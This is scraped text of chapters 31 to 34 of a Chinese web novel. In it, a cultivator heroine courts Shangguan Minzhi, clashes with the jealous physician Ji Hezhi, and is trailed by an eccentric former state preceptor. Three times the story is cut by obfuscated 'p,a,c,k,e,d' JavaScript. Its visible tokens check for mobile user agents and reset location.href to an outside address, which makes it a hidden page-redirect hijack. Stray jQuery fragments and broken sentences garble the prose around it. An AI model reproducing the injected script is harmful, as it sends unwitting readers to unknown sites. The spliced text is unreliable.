章 第31章 “欸?二位贵人请留步!” 刚出院门,眼前突然窜出一个青年,穿着灰白色的破旧道袍,边叫喊边甩出拂尘,一把拦住了牵手而出的人。 沈盈息被迫停下脚步,攒眉望着面前的拦路人。 这是个衣着落魄的青年道士,高高瘦瘦,白脸皮狐狸眼,一口薄厚适中的深红唇瓣咧着,对她笑得很欢迎。 除了笑,那张脸上最瞩目的是他的眼睛颜色,灰蓝色的,像雾气笼罩的蓝色琉璃。 不是什么好人。 沈盈息对这涎笑的道士皱了皱眉,转而拉着上官慜之往旁边走。 “欸!”那道士笑,甩开拂尘再次拦住了他们的去路,“贵人莫急着走,贫道可有话说呢。” “滚。”上官慜之牵着沈盈息,神情阴郁,毫不客气地伸臂推开了青年。 那道士看着落魄清瘦,被少年狠厉地一推,身子竟稳稳的丝毫不动。 上官慜之见状,不动声色地上前一步,将沈盈息掩至身后,眯起双眼,看向道士的眸子危险而阴冷。 道士看着少年不善的表情,一点不怵,反而嘻嘻笑了起来。 他歪着脸,对少年身后的沈盈息眨了眨眼,“哎呀贵人,我看你印堂发黑,三月之内必有血亡之灾啊!” 道士这话一落地,沈盈息就感到上官慜之身子紧绷,握着她的手也紧了几分。 她来不及呵斥道士,那口出无拦的青年便被少年一脚踢翻了。 奇怪,刚才还推拒不动的青年,这下被踹了脚立马倒了地。 如同受了重伤一般,躺在地上死死捂着小腹,冷汗霎时就浸湿了额发。 白脸皮青了三分,红口白牙倒鲜艳得很,从里面不断冒出痛苦的呻/吟,模样可怜又怪异,如青天白日里摔倒的一只艳皮鬼。 艳皮鬼痛着喊着,狐狸眼里两包清泪,灰蓝色的眼珠沁出泪光,愈发夺目。 灰眼珠道士捂着肚子抬头,颤颤巍巍看向少女,眼神哀婉乞怜,“哎哟,哎哟哟哟……我痛的哟,哟……” “……”沈盈息沉默了,她仰天看了眼白云悠悠,再垂眸,那痛呼不断的道士开始抱着肚子打滚。 滚着滚着却滚到她脚边,从道袍下伸出一只苍白劲瘦的手,眼看着就要将手触向她的小腿—— 上官慜之冷冷一笑,上前用力踩下道士伸来的脏手。 靴底死死碾着抽动的手掌,少年俯身,用只有他们两人才看得见的残忍表情,诡谲道:“国师大人,你没死啊,我给你帮个小忙。” 忙字的尾音还在口中含着,脚下“咔擦”一声,青年的腕骨已然是被踩断了。 踩着道士的断手,少年若无其事地起身,嗤笑地道:“装模作样,该死的东西。” 沈盈息扯开上官慜之,“在家耽误挺长时间了,我们还是尽快去药铺。” 挽着少女的手,少年阴冷的表情陡然褪去,他垂头温柔地看着妻子,笑容干净,“是,听息息的。” 说罢,二人挽手而去。 只是在去时,沈盈息回眸,窄窄的青石巷路,灰白道袍的青年承“大”字形躺在中间,双手大摊,仰望檐上苍天,竟然有几分悠然自得。 似乎察觉到她的目光,道士转了转眼珠子,视线准确无误地抓住了她的。 沈盈息蹙眉,他却兀然笑了起来。 落魄道士半欠起身,举起右臂,好像要对她告别,但一举起手,却发现右手腕处软绵绵耷拉着。 他咦了一声,而后从容地换了只手。 沈盈息以为这道士会用左手和她告别,却没想到他是用左手抓住右小臂,依然控制那只绵软的右手,朝她挥了挥。 她被那只前后摇摆、宛若死物的手掌硬控了三秒,而后倏然移开眼神。 沈盈息牵着上官慜之加快了步伐,很快就走出了巷子。 她边走边摇头,近来真是疯病高发期。 这道士别给上官慜之搞复发了。 只是走出很远了,却隐约间听到了那道士畅意的哈哈大笑声。 但甫一进入街市,热闹的叫卖声便立刻淹没了那肆无忌惮的笑声。 这道士出现得离奇,而且着实令人印象深刻。 沈盈息皱紧的眉就没松过,她狐疑的目光最终还是落在了上官慜之身上,“慜之,你刚才和那道士说什么了?” 上官慜之晃了晃牵着她的手,“我认识他。” 沈盈息微顿,停下脚步,严肃地看向少年,“你应该和我说的。” “……说了又怎么样,”少年垂头,眉眼压抑,“我已经不是上官慜之了。” “你可以不是他们的上官慜之,”沈盈息抬起少年的脸,拇指抹了抹他的眼角,“因为你现在,是我的夫君。” 少年抿直暗红的唇,双眸紧盯少女,几秒后,兀然泄了力。 伸出双臂搂住少女,上官慜之埋着头,深深地嗅着妻子温软的馨香,闷声道:“那道士以前是皇帝亲封的国师,向来疯疯癫癫,我不知道他怎么找到这儿来的。” 沈盈息顿了下,“他这是……是被贬了吧,穿的道袍又破又烂的。” 上官慜之摇了摇头,“也许。他在朝中人缘不好。” 沈盈息便不再问,有一下没一下地梳理着少年的发尾,她想了想,轻声道:“我们换个宅子住。” 上官慜之收紧抱住少女的手,“息息,骂我两句吧,让我好受一些。” “这说的什么话,”沈盈息推开上官慜之的怀抱,撑在他胸前看着他的眼睛,认真道:“夫妻同心,同舟共济,你的事现在就是我的事。” 少年眼眸深深,敛下深色,“息息,我绝不会让自己连累你。” 沈盈息唇边泛起笑弧,“行啦,别担心这么多了,有什么事我都陪着你呢。而现在,我们先去见和致,分享一下我们成亲的开心。” 提及这位纪大夫,上官慜之眼前便浮现出此人看沈息的眼神,克制、专注。 少年瑞丽的眉眼微动,视线一转,落在少女的脸上。 注意到他的注视,沈盈息转脸,仰起浓秀眼睫,眸中笑波悠悠,“慜之公子,你想欣赏你妻子的貌美呢,我们回了家,有的是时辰研究,这儿却不是好时辰哦。” 上官慜之一怔,倏然意识到自己的妻子是在用玩笑话开解他,解他方才见到故人的郁气。 少年阴暗的眼神软了软。 在他意识不到的时候,她似乎总在用自己的方式喜欢着他。 薄唇不自觉也勾起了笑,上官慜之牵起沈盈息,十指相扣,独享这冰冷世间唯一份的温暖。 “沈息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她看向阿仓,对候剑与少年对峙的近卫道:“阿仓,你在前面先走。” 让他们夫妻两说点私密话。 阿仓言听计从,闻言垂了垂眉,收起按在剑鞘上的手,对沈盈息拱手,“是,家主。” 待阿仓远去数十步,沈盈息把手搭在上官慜之的小臂上,近身缓缓道:“慜之,别担心,阿仓可信,你日后有事也可寻他。包括和致在内,你有事就找他们帮忙,他们都是我们的朋友。” 上官慜之低头,静静听着,等她说完,方回了声:“知道了。” 沈盈息知他防备心重,很难信任外人,于是也不再强力劝,转而拍了拍少年手臂,以示安慰。 “好慜之,我们先进去,等会带你去看一桩我的秘密。” 秘密? 少年抬起眼帘,他眼神微动,似乎有些想问,但到底保持着沉默。 沈盈息一眼就瞧出上官慜之的心思。 她早就发现了,上官慜之疯是疯,但本质上还是那个鲜衣怒马的少年郎。 鲜衣怒马被碾碎了,少年的心性尚存。 虽然这尚存的少年心扭曲非常,到底还是容易看透。 “等向和致拿些药,我们就去让秘密见个光,”少女说着,对身侧的漂亮少年眨了下眼,“就我们两个人。” 上官慜之显然对“我们”“只有两人”这样的字眼很满足,他弯起眸,轻声对少女道:“我等着,我乖乖的。” 沈盈息也满足地喟叹一声:“好慜之,乖慜之,我们快快出来。” “嗯。” 32. 第 32 章 第32章 纪得药铺有前后两进房子,两间房中隔着一个小院。 沈盈息记得刚买下这铺子时,院子里杂草横生,布景枯索。 而今一看,却是有竹有兰,石桌配着两张木椅,清风袭来,竹声萧萧,颇有雅致。 静中有争意,沉稳而不沉闷,见之忘俗。 与布置这院子的人一样。 阿仓放下一壶茶,低声道了句:“家主,纪大夫不久便来。” “嗯。”沈盈息再无吩咐。 近卫等候了半晌,终于抱剑退到一旁,双目微垂。 沈盈息打量着院落,一杯茶尚未入肚,前屋的门忽被打开了。 一袭白衣的青年走入院中,俊朗的面孔上神情温和。 纪和致的视线先落在了石桌旁的少女身上,眼神柔和,转眼又瞥见少女身旁的少年,眼神倏地淡了下去。 “忙完了吗,和致?” 沈盈息放下茶杯,没注意到纪和致的眼神变化。 她先望了眼上官慜之,发现少年正照着她的吩咐安静待着,谁也不看,只一味低着头把玩着她的手指,脸上不由浮起一抹笑。 纪和致眼神凝着少女,待后者看向他时,他又若无其事地垂下眼皮,“暂时不忙,息息来想必有事?” 沈盈息起了身,朝纪和致身后打开的门缝里望了下。 门缝里依稀能看清一团团摩肩擦踵的人影,黑蒙蒙很多的样子。 药徒们忙不迭的抓药称药的声音隐隐约约,如闷雷在响。 纪和致每日都忙得很,现下想必也是好不容易抽出的罅隙。 沈盈息收回视线,咳了声,“和致,我不多耽误你,只来问你拿一副药。就给蒋事珖的那种,多拿些,我也好少往你这跑几趟,免得太叨扰你。” 纪和致闻言,眼皮略抬,笑了笑,“息息这就是将我排外了,什么叨扰不叨扰的。” 他说罢,走进院中一耳室。 沈盈息跟上,边走边道:“和致,其实我今天来这,还有一事告知。” “……你要的是这药吗?”纪和致忽地回身,从室内木架上取下一青瓷瓶。 沈盈息猝不及防被打断,愣了下,抬眸看那瓷瓶,瓶上贴着的红纸正写着“金疮散”三字,她抿唇道:“应是吧。” 纪和致拿着药瓶转身,温和淡漠的嗓音从他身前传来:“便是此药,还有其他三种药,我一并多取给你。” “……和致,论药理你比我通,既然知晓要哪几瓶,如何还多此一问。” 白衣医师抬臂取药的手兀地顿了下,不过很快又自如地拿下几个瓷瓶,顺手把药瓶包进一处,方道:“只是习惯了,息息勿要多想。” 沈盈息沉默了下,似是迟疑。 “没多想,你把药拿给我吧。” 纪和致提着细麻绳,将包得严严实实的药包递给少女。 绳细得过分,交换之间,双方指尖难免触及,一触即分,各有应对。 沈盈息并未在意二人相触过的指尖,她提了提药包,抬眼看向青年,“这些药管多少日?” 纪和致将手慢慢收回,指腹的温软余温被主人纳入袖中慢慢摩挲着,他表情温润如常,有礼有节地道:“一方两份,一份管三日,只是蒋大人伤重伤多,治一次伤要用双份的量。” “怎么?”沈盈息惊奇地把药提到眼前,她晃了晃药包,黑眸溜圆,“这样重的药量居然只管三日吗?” 纪和致微微露出笑容,“怎么,息息不信纪某吗?” 沈盈息看他的表情,好一副沉稳的模样。 她从善如流,放下手,诚恳地对纪大夫眨了眨眼道:“不敢不敢,只是纪神医能不能多给几幅,我……” “息息,这些药需得现配,过了两日药效便不好了。”纪和致沉着道,“这几趟恐是省不得了,还得劳息息多见见纪某了。” 医师的话都说到这份上了,沈盈息无法,叹了口气,拎着药转身,“好吧,免不了就不免了。我倒不是不耐烦跑这几趟,只是你太忙,我怕耽误你救世济民的大抱负。” “济世救民?”青年的声音忽地低了几调,听着很是低沉。 沈盈息异怪纪和致这反问,正要掉头去看,身侧紧接着便贴了一个高大身影。 青年修长高挺的身影落在自己的半身上,沈盈息扭脸去看,瞧见纪和致一轮秀致绝伦的侧影。 纪大夫绯红的薄唇慢慢张启,似是勾起了一抹笑,又不似寻常的温和笑意,只是因侧面看的,辨不清那唇角的弧度究竟是何真意。 但青年磁性悦耳的嗓音还是如常:“息息这样说,便是吧。” 他不再多说,转过脸对上少女的眼睛,微微一笑,“我昨夜才将这药收好,赶巧发现了一桩怪事,息息可想听吗?” 沈盈息跟着大夫的步子往外走,听他这样问,心下还思量着他刚才的不对劲,回答得便不太认真:“无妨、无妨。” 纪和致唇边笑意弧度不深不浅,“这间耳室向来以供存储成药用的,间或放些杂物,却都是些不值钱的,什么贼都瞧不上。可偏偏,就是这堆杂物里少了点东西。” “啊……”沈盈息忽地省过来,她咳了咳,甚少见地有些赧然,“是不是少了两只瓢?” “咦?”青年低低地笑了一声,但这笑声却像从暗夜里发出的,没有丝毫愉悦的意味,“是,息息不妨再猜猜,这少的两只瓢我是如何寻见的?” 此时,他们已从耳室出来,眼见离石桌只几步远。 沈盈息和石桌旁的上官慜之对上目光,少年明显是在等待着她,漂亮的脸安安静静的,眼神又专注又认真。 “和致,我正说此事呢。”沈盈息看见上官慜之这幅乖巧小狗的模样,兀地松了口气。 不知为何,纪和致愈发难相处了。 在他身旁,总时不时地感到压抑。 比起愈发深不可测的纪和致,沈盈息现在是更喜欢上官慜之了。 上官慜之疯起来时,跟他相处像和沙尘暴对峙,但他一服乖,又让人觉得来到了沙漠深处的绿洲。 而让这绿洲穿越沙尘暴的方法很简单,给这少年一个拥抱、亦或一个吻,他就会奉出所有甘霖,让人感受到他毁天灭地的爱意。 纪和致……纪和致愈发难以揣测。 他就是一口静水深潭,向他解渴,却要谨防静水之下蓄势汹涌的暗流,它们不知何时就会将渴旅吞噬个肉骨分离。 来自纪和致身上的危险感愈重,沈盈息就愈怀疑和他的初见记忆。 记忆里那会脸红无措的青年,当真是今日这位吗? 出了耳室,离开那狭窄的暗室,沈盈息三步并两步地跑到少年身侧,那副“逃出生天”的松快模样,就是情感反应极其迟钝的阿仓都察觉到了。 更何论纪和致。 沈盈息牵起少年,脸上挂着欣悦的笑,二人走到纪和致身前,迎着白衣青年慢慢沉下的眼神。 少年接过药,沈盈息扭脸对他笑了笑,而后又转头对纪和致道:“我和慜之成了亲,那两只瓢被我充了合卺的工具,倒是好用。” 一弯冷风遽然从院中穿过,竹叶萧萧,恍然间若刀剑相欺,铮铮鸣声不断。 …… “铛——” 沉抑的气氛忽而被一道真的剑鸣打破。 回首看去,阿仓面无表情地送剑入鞘,又是一道“铮”的剑鸣。 看见沈盈息的回眸,近卫对她点了点头,“抱歉家主,您请继续。” 沈盈息看自家近卫没什么表情的脸,也不见星点为她同喜之情,便带着两丝期待,转回脸去看纪和致。 纪和致处事圆滑,他就是装,也得装两分高兴出来吧。 ……“息息,你莽撞了。” 可是没有。 纪和致装都不装,脸色微沉,神情清寒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547004|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 沈盈息抓紧上官慜之的手,她起眸露出不虞的神色:“和致,你应该为我高兴。” “如果是往常,我很乐意听你的,”白衣青年忽地扯唇讽笑了下。 少女一愣,她几乎没见过纪大夫这样刻薄的表情。 她直觉接下来不会从纪和致口中听到什么好话,甚而这些话可能推出一个糟糕的局面。 沈盈息不愿看那一片乱遭的场面,拉着上官慜之往侧室走,“纪和致,我们改日再来,你先住嘴!” 可她一步都没迈出,一只修长的手掌就拉住了她的手腕,青年的声音冷冷地传来:“沈息,请你看好,你身侧人并非良人。你枉费心机靠近他,难道只是为和这种货色在一起贪欢享乐,你是不是太轻率了。” “你算什么东西,滚开!” 沈盈息蹙眉,上官慜之先一步走出,钳住纪和致的手,像丢垃圾似地往外丢开。 “滚?”纪和致不怒反笑,用那双冰冷的眸子做微笑的表情,实是吓人。 他只看着沈盈息,像是回答少年,却一直盯着她,“算什么东西……若说算,我也是她从一滩泥里拿起来的东西。我这东西怎么能不打一声招呼,说滚就滚呢?” 沈盈息抿唇,抬眼看着纪和致,“和致,你别这样说自己。我今天来是希望你们好好相处的,你不是我的朋友吗?” 纪和致嗯了声,盯着她:“可我不是第一个吗?” 少女细长的眉拧了拧,像是为他这话苦恼一样,白牙咬了下红润的唇瓣,道:“对啊,我一开始也是最喜欢你……可你不是说,不是说你自己现在做不到吗?” 这话一出口。 沈盈息才知道不该说。 不光是纪和致如被肘击似地退了一步,身侧的上官慜之明显也不对劲起来。 事权从急,沈盈息只能先一心照顾着她的本分夫君,少年已是一脸惨白,眼眶晕红,两眼阴沉痛愕地看向她。 “……息息……” 上官慜之只渺然说了这两个字,眼眶里的泪珠就气势滚落。 泪很快湿透了他整张脸庞,白皙细嫩的昳丽面容很快如雨中红棠般,摇曳生怜。 沈盈息只得做出心疼和惊慌的模样,忙不迭上手去拭泪,一边给上官慜之擦着泪,一边口中致歉连连:“慜之,慜之,乖慜之,那都是以前了,我现在最喜欢你呀,我最爱你的,你……你别哭了成吗?” 少年却只枉然淌着泪,眼睫湿成一缕缕有气无力地搭在眼上,黑眸被泪浸得湿润透澈,“沈息……” 他却只能一声声唤着她,再也做不出别的事。 沈盈息叹了口气,不由当着在场另两个男人的面,仰头啄了啄少年咬得齿痕泛白的唇,“好了慜之,我就是喜欢过旁人又怎么样呢,我现在是和你成的亲,我更偏心谁,你还看不出吗?” “嗤,”身后冷不丁响起了一声嗤笑,沈盈息抬手抹少年眼角的动作一顿,听出是纪和致的讽笑。 顿了下,而后假装没听见,少女继而抹了抹少年的眼尾。 “原来……还是我作茧自缚了……” 纪和致低声,声若游丝,游走于稀薄的空气之中。 有人听见,有人装作没听见。 她漠然一切,眼里只剩下另外一个人。 沈盈息一心一意安慰着上官慜之,自觉在此不宜久留,便头也不回地道:“改日再来。” 说罢,拉着她偏心的少年,竟就如此离开了。 纪和致注目少女的离去,良久之后,手掌抚上胸膛,将尖锐的簪尖送进衣襟,簪尖刺破薄衣,抵达血肉,粒粒血珠滚出,代替了另外一种发泄情绪的途径。 血愈浸湿衣衫,白衣青年的表情愈平静。 渐至终了,忽地笑了一下,有趣似地道:“自取其辱,此辱何堪。” 无人回应。 阿仓早抱剑走了。 所有人都走了。 33. 第 33 章 第33章 出了药铺,上官慜之渐渐止住了泪,只不过眼尾还红着,拉着沈盈息的手,竟而问道:“息息,我们回家了,回家好吗?” 沈盈息微顿,“不是说好了,分享我那秘密的呢?” “方才那个还不算吗?”上官慜之抱住少女,下巴抵着她的肩,闷闷道:“再来一个,我怕是承受不住。” 沈盈息被少年自身后拥住,瞧不见他的神情,闻言只当他吃了醋,不由笑笑,哄道:“慜之怎么可以不信我,我们可说好了,夫妻同心的。” 闻言,少年的神情并未见放松,一双长眸里暗色汹涌,阴寒森森。 红唇一张,却又是甜蜜的话语:“好罢,息息,我要和你一起。” 沈盈息伸手揉了把少年的脸,凑近脸轻轻道:“纪和致或是旁的何人,今时今日,都在你慜之后啊,不必忧心,好吗?” 上官慜之喉间模糊地回应了一声,温凉的呼吸落在她颈侧,愈靠愈近。 “别,”沈盈息伸手推开少年。 望着被拒绝后又脸红又眼红的少年,沈盈息有些无奈,“慜之,有些事情不能太放纵。” 上官慜之伸出修长的手指,勾住少女的手掌,望着她,眸光如水,“……息息也很喜欢,我想要息息开心起来。” 沈盈息一把扯住他的手臂,另一只手迅速压下他的脖颈,在他唇上快快地亲了下,“好了,我们现在都开心了,走吧。” …… “息息,你只喜欢我一个吗?” 本以为亲一下就能哄好的少年,忽而在自己转身时冷不丁出声。 沈盈息回眸,见上官慜之望着她,眼睛一眨不眨。 虽然表面上看着还好好的,只是问题多了些。 但沈盈息也不确定。 这种正常的表情,对上官慜之而言究竟是“正常”还是“非正常”? 倘若单论他从前的斑斑劣迹,其实这种越像正常人的表现才越诡异罢? “慜之?”少女小心走近少年,摸了摸他的脸,仰目关切地说:“乖了,别多想,我现在真的只喜欢你一个。” 自成了亲,上官慜之似乎很容易患得患失。 一点风吹草动都能引起他的怀疑。 但这怀疑却不是对她的,而完全对他自己。 由纪和致引起的祸端显然还没有停止。 上官慜之抿着唇,方才还没干的长睫仍旧湿漉漉的,黑漆漆的瞳仁紧盯着少女,出声有些虚妄,像说梦话似地:“息息,你不觉得这些事情太多了吗?你不认为这很快吗?” 沈盈息愣了下,“哪些事,什么很快?” “譬如你喜欢我,譬如我离不开你。”上官慜之眼眸幽暗了一瞬,只一瞬,快得让人瞧不见。 他望着少女,将她的表情一览无余。 她似乎疑惑、思索、还有几分心虚。 上官慜之失去了一切后,这半年的花楼生活,到底教会了他这个天真肆意的世子爷一样本领。 ——察言观色、辨别真情。 “我是你在纪和致后面的选择,因为他做不到,而我可以,所以轮到了我,是吗?息息是在玩什么游戏,择一弃一,凭抓阄寻夫君吗?” 本来不必将察觉到的真相撕开来,让彼此都难堪。 “可息息一直说夫妻同心,我想,我总不该瞒你。” 少年字字清晰,吐音平静。 但沈盈息却眼睁睁看着随着这一句句疑问的砸下,上官慜之的眼睛也硬生生红了彻底。 方才在院中,还有靠泪眼攻势逼迫少女离开的目的,现在二人对峙,只剩下了真的难过。 上官慜之并不用话语表达他的难过,只是用隐忍地望着少女。 他未尝不知道沈盈息会用些甜言蜜语哄他过去。 他也可以接受自己袒露自己,虚伪和真实,她既然要看,全拾去好了。 自己的装疯卖傻换不来她的离开和退步。 但凭她初见时扔下的一枚玉佩,凭她后来信誓旦旦地保他,凭她虽怀有目的但的确愿他活下去的急切……上官慜之忽地扭过脸,用手背狠狠擦过眼眶。 “慜……” “算了,我清楚。” 沈盈息好不容易开口,忽地被上官慜之打断了。 她的三号攻略对象转回脸,她看清楚他那张漂亮面孔上糟糕得一塌糊涂的表情。 他只和她对视了一眼,就似乎从她眼神里意识到了什么,他匆忙低下头,垂眼紧盯着地面,双手紧紧束在袖中。 “沈息,我给你利用,我还……” 少年说了半句,沈盈息等着她的下半句,谁知看了他半晌,上官慜之却最终闭紧了嘴,把剩下半句咽进了腹中。 事到如今,沈盈息颇有些不上不下的哽噎感。 原地顿了顿,她想问什么,却终于在上官慜之垂眸避开她注视的动作前退缩。 “……慜之,你很聪明。” 无法,沈盈息只能这样道,她是真的觉得上官慜之聪慧过人,夸奖时带着十足的诚意。 只可惜她的诚意用错了地方,她话音将落,少年遽然抬头,眼神深冷地看了她一眼。 …… “仙君,您这时候怎么能夸他聪明吗?”识海里的系统也看不下去了,它跳了出来,贴上沈盈息的脸,恨铁不成钢地说:“这小疯子都快把你老底揭了,您不多说几句好听的话哄哄人家呀!” 沈盈息迟疑,传音:“我表现得很差劲吗?上官慜之怎么发现的?” 系统是旁观者清,它殷切解释道:“您要是表现差劲,这疯子情窍也根本开不了啊。就是因为您表演得太真了,这死孩子才难过的啊!” “……这是什么理,”前无情道魁首真疑惑了,她望了望满眼冷色的少年,又回顾了一番自己的所作所为,实是不得章法。 “哎呀仙君宝宝!”狼崽子急了,它往常是讨厌上官慜之的,但此时还是心善,不由为讨厌的他助攻了一把,“他肯定一早就猜到你不喜欢他了,或者说,您那点喜欢根本比不上他喜欢您的程度,您就没看见吗?” 沈盈息蹙起眉,“可你说,我表现得很好,他怎么会以为我不够喜欢他?” “……我的天道啊,”系统竟而也有点难过,它不敢松开抱着沈盈息的前爪,怕她像待上官慜之一样对自己。 但它还是尽职尽业地道:“宿主宝宝,这疯子快把你奉到神台上去了,而您呢,您能把他当什么?一棵漂亮的草,一株鲜艳的花,您觉着这两者有可比性吗?” 沈盈息忽而被点醒。 她的眼睛一亮,呢喃起来:“原来是这样,无情道无情道,本尊之无情道……” “轰隆!” 晴天中骤然炸起一道响雷,紫电粗豪,撕裂天幕。 狼崽抬头,望着天降紫电,又一脸不可置信地看向沈盈息。 半晌死寂,它方找回了自己的声音:“仙君宝宝,你简直……是个怪物……” 系统差一点就腿软跪下去,想访问一下沈盈息究竟如何能在这时候,悟出无情道新的大境界的。 “你现在可是个凡人啊!” 沈盈息悟道,眼神霎时间清明了几分。 系统的悲愤她一笑了之,而后强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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少年昳丽的脸在自己那根指尖的对准下,脸上疑云密布。 他好像是在自我指控,又似自我指责,更像自我仇恨。 只是无论如何,对面前的少女却无一丝阴寒,他甚而转脸大笑了一声。 他颇有豪情气概放下手,对沈盈息抱拳,“佩服、佩服!” 沈盈息疑惑了瞬间,她伸手欲拦下少年怪异举措,“慜之,你好好的。” 上官慜之对着她微笑起来,抓住她伸来的手,送到指尖。 他接着俯下身,抬起眼,眸子紧紧仰视她,又笑着吻了吻唇边的葱尖,“息息,你也乖乖回家,我送你一份礼物。” 沈盈息顺势在少年唇瓣上点了点,这点滴暧昧方引得少年隐晦眸深,却又被她丝毫不拖泥带水地抽了回去。 “慜之,谢谢你。” 少年起身,慢条斯理地理了理衣襟,“那么,再见,息姑娘。” 沈盈息笑着颔首,“再见,慜之公子。” 上官慜之于是先行转身,离去。 沈盈息也不作多留,提着药抽身离开。 二人离去。 从一旁隐蔽角落慢慢走出个高大身影。 “啊呀呀,小夫妻闹不快乐了。” 道袍破旧的青年笑眯眯地,背着手甚是闲暇地往两边都看了看。 灰蓝色的眸子溢满笑意,饱含看热闹的兴致。 “害,小孩子们也真是,”道士好整以暇地叹了口气,噙着虚假的关心,抱着真切的玩味,他低头自笑,“终于有用得上本狗头国师的地方了,嗨呀……” 说罢,摇头晃脑、姿态落拓地踩着沈盈息的步子,跟了上去。 34. 第 34 章 第34章 沈盈息及至地牢时,方发觉身后跟了一个人。 真是一身隐蔽的好手段。 她猝然转身,身影如电闪了出去。 跟在身后的那人蓦然一惊,似乎没想到自己只是试探性的失误,竟真能引起她警觉。 在被少女用手臂横在脖前压在墙上时,跟踪者脸上的愕然尚未消失。 “哦,国师大人……”看清跟踪者的模样,沈盈息眯起眸,她上下打量了一番道士,眼神防备,“你似乎很闲啊?” 青年眼睫微眨,敛下眸底探究,狐狸眼溢满了笑意。 他微微低头,望着少女近在咫尺的脸庞,红唇弯弯:“哇,小息姑娘,我没猜错,原来你也是个表里不一的狗崽子。” …… 沈盈息嗤了一声,这所谓的国师从出现起就行事诡异,不要说张口骂人是狗,他现在原地化了狗形都不会叫她惊讶。 她不想去探究这个“也”字背后是谁,当然更不想和这怪异道士争论谁是狗。 她切齿一笑,“道长,你见过鬼吗?” “咦?”道士瞪大了眼睛,修长的狐狸眼瞪得微微圆,灰蓝色雾蒙蒙的眼珠子转动了下,窝藏歹意,“没见过诶,你见过吗?我可怕鬼了。” 好,怕就好。 沈盈息兀地松开手,放掉钳制青年的动作。 青年被放开后,依然还倚着冰凉的墙面,长腿闲适地交叉起来,他摸了摸脖子,而后望着少女笑。 “啊呀,小姑娘还挺好脾气,我还以为你怎么着都该揍我一顿呢。” 语罢,这道士颇恋恋地抚上脖子,一双灰眸似笑非笑地盯着沈盈息。 这儿是处窄巷,光源黯淡,道士穿的袍子松松垮垮,从衣襟里探出的长颈像昏暗里的白玉,勾勒着莹白的光晕。 沈盈息见过不少男色,当下对这道士活色生香的白颈没表露出兴趣。 见她如此冷情,倒是那道士露出有些可惜的神情。 他撩开手指,有一下没一下地把衣襟拢了拢,眼皮子耷拉下去,径自看着自己把玩着自己的衣裳。 他撩弄了一会儿,踩在沈盈息离开前,又抬头,歪头好奇地道:“小息姑娘去地牢是要做什么,贫道能帮得上忙不?” “你?”沈盈息站在巷口,一身银白的月光。 少女转过眉眼,黑鸦鸦的长睫上满是银水似的月色,灰色的睫影落在眼窝处,明明灭灭的,十分动人。 她却无对自身容貌的注意,面上泛出个冷笑,“我连你的名字都不知道,还带你去地牢,我是什么样的蠢物不成。” “欸?上官慜之连我的名字都没告诉你吗?”道士面露怨怼,“这孩子好不讲义气。” 沈盈息此时已等到她的东西,伸手凭空一抓,又做了几个繁复的手势,巷子的温度便猛然降了下去。 松开左手,右手像牵着什么,少女轻盈地迈出巷口,而后回身对里面的道士勾起唇。 她对其挥了挥手,“慢慢玩儿。” 说罢,沈盈息抬脚便走。 “留微理!”身后道士忽地大喊一声。 沈盈息一顿,别过身,拧眉看他,“?” “贫道——”道士指向自己,面露自豪,“留微理是也。” “……有病。” 沈盈息收回眼神,径直离开。 被留在巷中的青年望着少女离开的背影,无声笑了笑。 亲自看着这小纨绔在厉鬼阴气的庇护下,大摇大摆进了地牢。 狐狸眼里却没再露出惊奇,反而是兴味更浓。 而后又伸出苍白的手指触了触空气,在他的视野中,面前正有一堵墙,是另外一只厉鬼用阴气垒起的鬼墙。 “就这么欺负老人家啊,真拿鬼欺负人家耶?……”留微理望鬼惊叹,而后一壁叹气一壁伸出了手。 苍白的指尖才触到鬼墙,阴气浓郁伤害性极高的墙体立时被灼出了一个指洞。 厉鬼尖锐的惨叫同时冲破云霄。 道士跟着也惨叫两声,猛地弯下腰捂住耳朵,原地像被踩了尾巴的狐狸一样蹦跶了两下,跳开好几步。 缓过一阵,弯腰捂耳的男人阴恻恻抬起眼:“你这死鬼……叫得真难听。” 拂尘一回,金光飞过,鬼声乍停。 留微理方揉着耳朵站直了,继而咕哝着走近鬼墙,伸出他火棍似的手指,撕开了纸般的鬼墙。 “啊啊啊,小喜姑娘小息姑娘,我的耳朵疼疼的,我要找你索赔呜呜……” 轻松地破了小纨绔留下的鬼墙,道士抓过奄奄一息的厉鬼,把它的头利落摘下,又把它的身子揉成绳状。 而后就用这绳子绑着鬼头,在绳首系出个绳圈,套在中指上,把鬼头扔在地上,像拍皮球一样拍着,一路拍一路走进地牢。 “嗨呀,这法子真好,阴气还能这样用,真白瞎了以前的偷鸡摸狗……”男人的笑叹隐没于月色之中。 除了他手下拍着的鬼球,谁也没听见。 …… 沈盈息找到蒋事珖的牢房,熟练地驱使鬼劳工打开了牢门,而后一脚踏进黑黝黝的牢内。 “蒋事珖,我来看你了。” 她朝黑暗里唤了一声,无人回应。 沈盈息咦了一声,她寻摸着蜡烛,但怎么也找不到。 牢内黑得可怖,她又多叫几声蒋事珖,声音却都像石头沉入水底,消失了。 沈盈息有些挠脸,她原地转了一圈,每转一下就伸脚踢一下,就指望着能胡乱碰到个死人。 最后还真叫她这只瞎猫碰上了死耗子。 只是不是死的,也不是耗子。 是被打得皮开肉绽、血糊糊躺在地上的蒋大人。 沈盈息摩挲着蹲下身,毫无头绪地摸了摸,第一下摸到了又硬又韧有突出有凹陷,总之不平的地方。 她顿了下,被她抚摩的身子也剧烈缩了下。 蒋事珖没醒,他要是醒了,也许还没这么大反应。 沈盈息倒没想到蒋事珖的衣裳破了这么多洞,简直衣不蔽体。 